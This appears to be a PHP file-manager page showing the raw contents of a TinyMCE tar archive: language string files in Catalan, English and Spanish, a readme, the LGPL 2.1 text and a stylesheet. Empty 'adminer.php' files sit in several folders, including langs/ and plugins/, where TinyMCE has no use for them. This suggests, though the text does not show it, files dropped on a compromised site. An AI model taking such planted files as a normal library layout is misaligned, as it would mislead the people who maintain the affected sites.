Файловый менеджер - Редактировать - C:/xampp/htdocs/documents/_tiny_mce.tar
Назад
adminer.php 0000666 00000000000 15155066652 0006701 0 ustar 00 blank.htm 0000666 00000000336 15155066652 0006366 0 ustar 00 <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>blank_page</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body class="mceContentBody"> </body> </html> langs/adminer.php 0000666 00000000000 15155066652 0010005 0 ustar 00 langs/ca.js 0000666 00000011431 15155066652 0006610 0 ustar 00 tinyMCE.addI18n({ca:{ common:{ edit_confirm:"Vols utilitzar el mode visible (WYSIWYG) per a aquesta \u00E0rea de text?", apply:"Aplica", insert:"Insereix", update:"Actualitza", cancel:"Cancel\u00B7la", close:"Tanca", browse:"Explora", class_name:"Classe", not_set:"-- Sense establir --", clipboard_msg:"Copia/Retalla/Enganxa no est\u00E0 disponible en Mozilla/Firefox.\nVols m\u00E9s informaci\u00F3 sobre aquest tema?", clipboard_no_support:"Actualment no est\u00E0 suportat pel teu navegador, utilitza les dreceres de teclat en lloc seu.", popup_blocked:"Ho sentim, per\u00F2 ens hem adonat que el teu bloquejador de finestres emergents ha desactivat una finestra que proporciona funcionalitat a l'aplicaci\u00F3. Haur\u00E0s de desactivar el blocatge de finestres emergents en aquest lloc per tal d'utilitzar plenament aquesta eina.", invalid_data:"Error: Has introdu\u00EFt valors incorrectes, te'ls marquem en vermell.", more_colors:"M\u00E9s colors" }, contextmenu:{ align:"Alineaci\u00F3", left:"Esquerra", center:"Centrat", right:"Dreta", full:"Justificat" }, insertdatetime:{ date_fmt:"%d-%m-%Y", time_fmt:"%H:%M:%S", insertdate_desc:"Insereix la data", inserttime_desc:"Insereix l'hora", months_long:"Gener,Febrer,Mar\u00E7,Abril,Maig,Juny,Juliol,Agost,Setembre,Octubre,Novembre,Desembre", months_short:"Gen,Feb,Mar,Abr,Mai,Jun,Jul,Ago,Set,Oct,Nov,Des", day_long:"Diumenge,Dilluns,Dimarts,Dimecres,Dijous,Divendres,Dissabte,Diumenge", day_short:"Dmg,Dll,Dmt,Dmc,Djs,Dvs,Dss,Dmg" }, print:{ print_desc:"Imprimeix" }, preview:{ preview_desc:"Vista pr\u00E8via" }, directionality:{ ltr_desc:"Direcci\u00F3 d'esquerra a dreta", rtl_desc:"Direcci\u00F3 de dreta a esquerra" }, layer:{ insertlayer_desc:"Insereix capa nova", forward_desc:"Despla\u00E7a endavant", backward_desc:"Despla\u00E7a endarrere", absolute_desc:"Canvia el posicionament absolut", content:"Nova capa..." }, save:{ save_desc:"Desa", cancel_desc:"Cancel\u00B7la tots els canvis" }, nonbreaking:{ nonbreaking_desc:"Insereix espai no separable" }, iespell:{ iespell_desc:"Comprovaci\u00F3 ortogr\u00E0fica", download:"No s'ha detectat ieSpell. Vols instal\u00B7lar-lo ara?" }, advhr:{ advhr_desc:"Regle horitzontal" }, emotions:{ emotions_desc:"Emoticones" }, searchreplace:{ search_desc:"Busca", replace_desc:"Busca/Substitueix" }, advimage:{ image_desc:"Insereix/edita imatge" }, advlink:{ link_desc:"Insereix/edita enlla\u00E7" }, xhtmlxtras:{ cite_desc:"Citaci\u00F3", abbr_desc:"Abreujament", acronym_desc:"Acr\u00F2nim", del_desc:"Supressi\u00F3", ins_desc:"Inserci\u00F3", attribs_desc:"Insereix/Edita Atributs" }, style:{ desc:"Edita l'Estil CSS" }, paste:{ paste_text_desc:"Enganxa com a Text Planer", paste_word_desc:"Enganxa des de Word", selectall_desc:"Selecciona-ho Tot" }, paste_dlg:{ text_title:"Utilitza CTRL+V al teclat per enganxar el text a la finestra.", text_linebreaks:"Mantingues els salts de l\u00EDnia", word_title:"Utilitza CTRL+V al teclat per enganxar el text a la finestra." }, table:{ desc:"Insereix una nova taula", row_before_desc:"Insereix fila abans", row_after_desc:"Insereix fila despr\u00E9s", delete_row_desc:"Suprimeix fila", col_before_desc:"Insereix columna abans", col_after_desc:"Insereix columna despr\u00E9s", delete_col_desc:"Elimina columna", split_cells_desc:"Parteix les cel\u00B7les refoses de la taula", merge_cells_desc:"Refon les cel\u00B7les de la taula", row_desc:"Propietats de la fila de la taula", cell_desc:"Propietats de la cel\u00B7la de la taula", props_desc:"Propietats de la taula", paste_row_before_desc:"Enganxa la fila de la taula abans", paste_row_after_desc:"Enganxa la fila de la taula despr\u00E9s", cut_row_desc:"Retalla la fila de la taula", copy_row_desc:"Copia la fila de la taula", del:"Suprimeix la taula", row:"Fila", col:"Columna", cell:"Cel\u00B7la" }, autosave:{ unload_msg:"Els canvis que has fet es perdran si surts d'aquesta p\u00E0gina." }, fullscreen:{ desc:"Mode de pantalla completa" }, media:{ desc:"Insereix / edita mitj\u00E0 encastat", edit:"Edita mitj\u00E0 encastat" }, fullpage:{ desc:"Propietats del document" }, template:{ desc:"Insereix contingut predefinit de plantilla" }, visualchars:{ desc:"Car\u00E0cters de control visual des/activats." }, spellchecker:{ desc:"Des/activa el corrector ortogr\u00E0fic", menu:"Configuraci\u00F3 del corrector", ignore_word:"Ignora", ignore_words:"Ignora-les totes", langs:"Idiomes", wait:"Espera, si et plau...", sug:"Suggeriments", no_sug:"No hi ha cap suggeriment", no_mpell:"No s'ha trobat cap incorrecci\u00F3." }, pagebreak:{ desc:"Insereix salt de p\u00E0gina." }}}); langs/en.js 0000666 00000011576 15155066652 0006641 0 ustar 00 tinyMCE.addI18n({en:{ common:{ edit_confirm:"Do you want to use the WYSIWYG mode for this textarea?", apply:"Apply", insert:"Insert", update:"Update", cancel:"Cancel", close:"Close", browse:"Browse", class_name:"Class", not_set:"-- Not set --", clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.\nDo you want more information about this issue?", clipboard_no_support:"Currently not supported by your browser, use keyboard shortcuts instead.", popup_blocked:"Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.", invalid_data:"Error: Invalid values entered, these are marked in red.", more_colors:"More colors" }, contextmenu:{ align:"Alignment", left:"Left", center:"Center", right:"Right", full:"Full" }, insertdatetime:{ date_fmt:"%Y-%m-%d", time_fmt:"%H:%M:%S", insertdate_desc:"Insert date", inserttime_desc:"Insert time", months_long:"January,February,March,April,May,June,July,August,September,October,November,December", months_short:"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec", day_long:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday", day_short:"Sun,Mon,Tue,Wed,Thu,Fri,Sat,Sun" }, print:{ print_desc:"Print" }, preview:{ preview_desc:"Preview" }, directionality:{ ltr_desc:"Direction left to right", rtl_desc:"Direction right to left" }, layer:{ insertlayer_desc:"Insert new layer", forward_desc:"Move forward", backward_desc:"Move backward", absolute_desc:"Toggle absolute positioning", content:"New layer..." }, save:{ save_desc:"Save", cancel_desc:"Cancel all changes" }, nonbreaking:{ nonbreaking_desc:"Insert non-breaking space character" }, iespell:{ iespell_desc:"Run spell checking", download:"ieSpell not detected. Do you want to install it now?" }, advhr:{ advhr_desc:"Horizontal rule" }, emotions:{ emotions_desc:"Emotions" }, searchreplace:{ search_desc:"Find", replace_desc:"Find/Replace" }, advimage:{ image_desc:"Insert/edit image" }, advlink:{ link_desc:"Insert/edit link" }, xhtmlxtras:{ cite_desc:"Citation", abbr_desc:"Abbreviation", acronym_desc:"Acronym", del_desc:"Deletion", ins_desc:"Insertion", attribs_desc:"Insert/Edit Attributes" }, style:{ desc:"Edit CSS Style" }, paste:{ paste_text_desc:"Paste as Plain Text", paste_word_desc:"Paste from Word", selectall_desc:"Select All", plaintext_mode_sticky:"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.", plaintext_mode:"Paste is now in plain text mode. Click again to toggle back to regular paste mode." }, paste_dlg:{ text_title:"Use CTRL+V on your keyboard to paste the text into the window.", text_linebreaks:"Keep linebreaks", word_title:"Use CTRL+V on your keyboard to paste the text into the window." }, table:{ desc:"Inserts a new table", row_before_desc:"Insert row before", row_after_desc:"Insert row after", delete_row_desc:"Delete row", col_before_desc:"Insert column before", col_after_desc:"Insert column after", delete_col_desc:"Remove column", split_cells_desc:"Split merged table cells", merge_cells_desc:"Merge table cells", row_desc:"Table row properties", cell_desc:"Table cell properties", props_desc:"Table properties", paste_row_before_desc:"Paste table row before", paste_row_after_desc:"Paste table row after", cut_row_desc:"Cut table row", copy_row_desc:"Copy table row", del:"Delete table", row:"Row", col:"Column", cell:"Cell" }, autosave:{ unload_msg:"The changes you made will be lost if you navigate away from this page.", restore_content:"Restore auto-saved content.", warning_message:"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?." }, fullscreen:{ desc:"Toggle fullscreen mode" }, media:{ desc:"Insert / edit embedded media", edit:"Edit embedded media" }, fullpage:{ desc:"Document properties" }, template:{ desc:"Insert predefined template content" }, visualchars:{ desc:"Visual control characters on/off." }, spellchecker:{ desc:"Toggle spellchecker", menu:"Spellchecker settings", ignore_word:"Ignore word", ignore_words:"Ignore all", langs:"Languages", wait:"Please wait...", sug:"Suggestions", no_sug:"No suggestions", no_mpell:"No misspellings found." }, pagebreak:{ desc:"Insert page break." }, advlist:{ types:"Types", def:"Default", lower_alpha:"Lower alpha", lower_greek:"Lower greek", lower_roman:"Lower roman", upper_alpha:"Upper alpha", upper_roman:"Upper roman", circle:"Circle", disc:"Disc", square:"Square" }}}); langs/es.js 0000666 00000010763 15155066652 0006643 0 ustar 00 tinyMCE.addI18n({es:{ common:{ edit_confirm:"\u00BFDesea utilizar el modo WYSIWYG para esta caja de texto?", apply:"Aplicar", insert:"Insertar", update:"Actualizar", cancel:"Cancelar", close:"Cerrar", browse:"Examinar", class_name:"Clase", not_set:"-- Ninguno --", clipboard_msg:"Copiar/Cortar/Pegar no se encuentra disponible en Mozilla y Firefox.\n\u00BFDesea obtener m\u00E1s informaci\u00F3n acerca de este tema?", clipboard_no_support:"Su navegador no soporta las funciones de cortapapeles, use los accesos por teclado.", popup_blocked:"Lo sentimos, su bloqueo de ventanas emergentes ha deshabilitado una ventana que provee funcionalidades a la aplicaci\u00F3n. Necesita deshabilitar este bloqueo en este sitio para poder utilizar todas las funciones.", invalid_data:"Error: Introdujo un valor no v\u00E1lido, est\u00E1n marcados en rojo.", more_colors:"M\u00E1s colores" }, contextmenu:{ align:"Alineaci\u00F3n", left:"Izquierda", center:"Centrado", right:"Derecha", full:"Justificado" }, insertdatetime:{ date_fmt:"%d-%m-%Y", time_fmt:"%H:%M:%S", insertdate_desc:"Insertar fecha", inserttime_desc:"Insertar hora", months_long:"Enero,Febrero,Marzo,Abril,Mayo,Junio,Julio,Agosto,Septiembre,Octubre,Noviembre,Diciembre", months_short:"Ene,Feb,Mar,Abr,May,Jun,Jul,Ago,Sep,Oct,Nov,Dic", day_long:"Domingo,Lunes,Martes,Mi\u00E9rcoles,Jueves,Viernes,S\u00E1bado,Domingo", day_short:"Dom,Lun,Mar,Mie,Jue,Vie,Sab,Dom" }, print:{ print_desc:"Imprimir" }, preview:{ preview_desc:"Vista previa" }, directionality:{ ltr_desc:"Direcci\u00F3n izquierda a derecha", rtl_desc:"Direcci\u00F3n derecha a izquierda" }, layer:{ insertlayer_desc:"Insertar nueva capa", forward_desc:"Avanzar", backward_desc:"Retroceder", absolute_desc:"Cambiar a posici\u00F3n absoluta", content:"Nueva capa..." }, save:{ save_desc:"Guardar", cancel_desc:"Cancelar todos los cambios" }, nonbreaking:{ nonbreaking_desc:"Insertar caracter de espacio 'non-breaking'" }, iespell:{ iespell_desc:"Corrector ortogr\u00E1fico", download:"No se detect\u00F3 'ieSpell'. \u00BFDesea instalarlo ahora?" }, advhr:{ advhr_desc:"Regla horizontal" }, emotions:{ emotions_desc:"Emoticones" }, searchreplace:{ search_desc:"Buscar", replace_desc:"Buscar/Reemplazar" }, advimage:{ image_desc:"Insertar/editar imagen" }, advlink:{ link_desc:"Insertar/editar hiperv\u00EDnculo" }, xhtmlxtras:{ cite_desc:"Cita", abbr_desc:"Abreviatura", acronym_desc:"Acr\u00F3nimo", del_desc:"Borrado", ins_desc:"Inserci\u00F3n", attribs_desc:"Insertar/Editar atributos" }, style:{ desc:"Editar Estilo CSS" }, paste:{ paste_text_desc:"Pegar como texto plano", paste_word_desc:"Pegar desde Word", selectall_desc:"Seleccionar todo" }, paste_dlg:{ text_title:"Use CTRL+V en su teclado para pegar el texto en la ventana.", text_linebreaks:"Keep linebreaks", word_title:"Use CTRL+V en su teclado para pegar el texto en la ventana." }, table:{ desc:"Inserta una nueva tabla", row_before_desc:"Insertar fila (antes)", row_after_desc:"Insertar fila (despu\u00E9s)", delete_row_desc:"Suprimir fila", col_before_desc:"Insertar columna (antes)", col_after_desc:"Insertar columna (despu\u00E9s)", delete_col_desc:"Suprimir columna", split_cells_desc:"Dividir celdas", merge_cells_desc:"Vincular celdas", row_desc:"Propiedades de la fila", cell_desc:"Propiedades de la celda", props_desc:"Propiedades de la tabla", paste_row_before_desc:"Pegar filas (antes)", paste_row_after_desc:"Pegar filas (despu\u00E9s)", cut_row_desc:"Cortar fila", copy_row_desc:"Copiar fila", del:"Eliminar tabla", row:"Fila", col:"Columna", cell:"Celda" }, autosave:{ unload_msg:"Los cambios realizados se perder\u00E1n si sale de esta p\u00E1gina." }, fullscreen:{ desc:"Cambiar a modo Pantalla Completa" }, media:{ desc:"Insertar/editar medio embebido", edit:"Editar medio embebido" }, fullpage:{ desc:"Propiedades del documento" }, template:{ desc:"Insertar contenido de plantilla predefinida" }, visualchars:{ desc:"Caracteres de control ON/OFF." }, spellchecker:{ desc:"Cambiar a corrector ortogr\u00E1fico", menu:"Configuraci\u00F3n de corrector ortogr\u00E1fico", ignore_word:"Ignorar", ignore_words:"Ignorar todo", langs:"Idiomas", wait:"Espere...", sug:"Sugerencias", no_sug:"Sin sugerencias", no_mpell:"No se encontraron errores." }, pagebreak:{ desc:"Insertar fin de p\u00E1gina" }}}); langs/readme.txt 0000666 00000000621 15155066652 0007664 0 ustar 00 Beginning with version 2.0.5 the language packs are no longer included with the core distribution. Language packs can be downloaded from the TinyMCE website: http://tinymce.moxiecode.com/download.php The language pack codes are based on ISO-639-1: http://www.loc.gov/standards/iso639-2/englangn.html Plrease try using entities if possible. Like å etc for non a-z characters. license.txt 0000666 00000065453 15155066652 0006763 0 ustar 00 GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it! plugins/adminer.php 0000666 00000000000 15155066652 0010362 0 ustar 00 plugins/advhr/css/advhr.css 0000666 00000000365 15155066652 0011762 0 ustar 00 input.radio {border:1px none #000; background:transparent; vertical-align:middle;} 